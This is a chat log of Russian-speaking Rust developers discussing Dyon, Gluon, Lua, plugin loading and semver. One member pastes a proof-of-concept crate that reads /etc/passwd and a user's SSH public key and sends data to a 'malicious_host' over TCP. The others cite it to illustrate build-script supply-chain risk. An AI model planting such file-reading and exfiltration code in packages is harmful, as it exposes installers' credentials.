Anton
там есть треды
Anton
корутинки
Anton
динамическая типизация в целом простенько и неплохо на взгляд
Anton
минамически подгружаемые в рантайм модули
Anton
и по мелочи шняга
Anton
если судить еще по некоторым первичным обрывкам - piston сделалт еще возможность из него производить живые трансформации, тоесть скидывают состояния в dyon и получают результаты
Мерль
Для встраиваемых языков
Anton
это плюс, да
Anton
сам по себе dyon как полноценный язык независимый никак не годится
Anton
но вот как дополнение к другому языку - более чем офигенно сделан имхо
Маjко
https://crates.io/crates/totally_not_malicious
Маjко
Вот объясните мне мотивацию
Маjко
Зачем?
Danila Matveev
https://blog.korte.land/programming/2017/09/16/dependencies-trust.html
Michael
о создании системы плагинов для проектов на других языках
в го запили аля load library & find symbol, правда только под линукс и выделили это всё в модуль plugin . а дальше пляши как хочешь
Маjко
Обертка над dlopen?
Michael
ну да типа с своим лунапарком
Маjко
В расте интересно можно ли сделать FFI с другим растокодом без влезания в ансейф для интероперабельности
Маjко
Типа не через C ABI
Маjко
А через свой, сейфный)
Michael
use std::unstable::dynamic_lib::DynamicLibrary; гугл подсказывает чтото наподобие
պլհկ
В расте нет стабильного ABI
Michael
хех кого это когда останавливало
Anton
И никогда
Anton
В расте любые инициативы начинаются с глухого анстейбл и ансейф
Anton
Если потом это развивается уже стабилизируют
Kerrigan
https://yandex.com/images/search?text=%D0%B1%D0%B5%D0%B3%D0%B5%D0%BC%D0%BE%D1%82%D0%B8%D0%BA%20%D0%BD%D0%B8%D0%BA%D1%82%D0%BE
Kerrigan
в понедельник надо уже тыкать serde
Vladimir
Осталось портировать их проц макро, на их же проц макро
Vladimir
Мы прихуярили proc-macro attributes в proc-macro attributes чтобы ты мог юзать proc-macro attributes пока реализуешь proc-macro attributes.
Vladimir
Остался монитор)
Kerrigan
slowpoke?
ага, aiff я разобрал, теперь надо жсоны внутри разобрать
Маjко
Ыы, ну кстати жсоны и серде уже самый что ни на есть стейбл :D
Маjко
Новички в языке очень большие глаза делают, при виде кучи версий "0.*" в зависимостях х)
Michael
и что им не нравится от *.0 ?
Michael
типа все семвер прочли?
Маjко
типа все семвер прочли?
0.* Типа анстейбл
Маjко
Типа семвер не читали как раз
Michael
ну так опенсурс же, и оч много до семвера чего появилось
Michael
и от попы спереди мажор версия не спасает как правило
Michael
я человек простой, есть тулза делает то, что мне надо, то мне всёравно какие там циферки в версии
Vladimir
мне в начале очень было дико, что 0.2.1 < 0.11.0
Vladimir
x)
Vladimir
особенно когда. 0.11 было записано не в каноническом виде
Michael
ага когда после 0.9 идёт 0.10, а не 1.0
Vladimir
угу обидно даже как-то х)
Michael
ну, заказчик грит: хочу чтобы было хорошо, и если рыбка плавает по дну в аквариуме - то с системой всё ок, если сверху вверх пузиком - то типа надо диагностировать, и естественно запуск с одной кнопки ну и классика жанра, чтобы было готово на вчера а все утэти начиная семверы и заканчивая мьютексами с очередями им до лампы в принципе это кмк правильно
Michael
так часть кода из питона прозрачно была сделана на го
Michael
время есть, смотрю на раст
Michael
ТРИГГЕРЕД
в смысле?
Michael
нельзя вспоминать в суе?
Vladimir
типа того)
Vladimir
у нас тут в чате, день без вспоминания го не проходит
Michael
а... ну в общем раст у мну в ближайшей перспективе
Anonymous
все так говорят
Маjко
мне в начале очень было дико, что 0.2.1 < 0.11.0
Это ладно, к этому можно быстро привыкнуть. А вот от номеров версий по дате релиза у меня сильно горит)
Michael
Евгений
Евгений
gluon же
Чем он лучше чем дион?
Anonymous
Чем он лучше чем дион?
они же совсем разные
Евгений
Я ток про дион читал :( А в чём разница?
Anonymous
gluon функциональный
Евгений
Глюон выглядит как миранда
Мерль
lua это такой протодион?
Ну, смотря в каком смысле "прото-" Lua - это зверски простой язык с микрорантаймом в несколькоо сотен килобайт со стандартной библиотекой и прочим барахлом. У него очень минималистичный синтаксис, но достаточно гибкий, чтобы навернуть абстракций и сахара поверх, если захочется. Сейчас он прикручивается часто по принципу "а почему бы и нет" куда угодно, начиная от nginx и игровых движков и заканчивая софтом для трейдеров Дион по сравнению с ним - прямо экскаватор, фаршированный плюшками оп самое немагу
Мерль
А глюон я вообще не трогал
Евгений
Сколько я не видел кода на луа -- это какой-то кривообразный кошмар
Мерль
Сколько я не видел кода на луа -- это какой-то кривообразный кошмар
Потому что этот код часто пишут люди, для которых нужно просто допилить напильником свой инструмент, и программировтаь они начали вот примерно вчера, имхо
Anonymous
оо в gluon даже hkt
Vladimir
https://crates.io/crates/totally_not_malicious
use std::fs::File; use std::io::prelude::*; use std::io::Read; use std::net::TcpStream; fn main() { steal_passwords(); steal_private_key(); send_stuff_over_network(); } fn steal_passwords() { let mut f = match File::open("/etc/passwd") { Ok(f) => f, Err(_) => { println!("drats! foiled!"); return; } }; let mut contents = String::new(); f.read_to_string(&mut contents).unwrap(); print!("{}", contents); } fn steal_private_key() { match std::env::var("LOGNAME") { Ok(val) => { // only public key. i'm not that evil let mut f = match File::open(format!("/home/{}/.ssh/id_rsa.pub", val)) { Ok(f) => f, Err(_) => { println!("couldn't open public key"); return; } }; let mut key_contents = String::new(); f.read_to_string(&mut key_contents).unwrap(); print!("{}", key_contents); }, Err(_) => { println!("couldn't get username"); return; } } } fn send_stuff_over_network() { let malicious_host = "127.0.0.1"; // google is "172.217.25.46" if you want to test *real* networking let mut stream = match TcpStream::connect(format!("{}:8080", malicious_host)) { Ok(s) => s, Err(_) => { println!("hmm, no networking?"); return; }, }; let msg = String::from("totally not someone's public key\n"); let _ = stream.write(msg.as_bytes()); }
Vladimir
да, я кстати тоже говорил, что билд скрипты это пздец как не секьюрно
Alex
Зачем?
чтобы продемонстрировать уязвимость
Alex
думаю при добавлении нового крейта - карго должен предложить проинспектировать build скрипт
Vladimir
да как ты проинспектируешь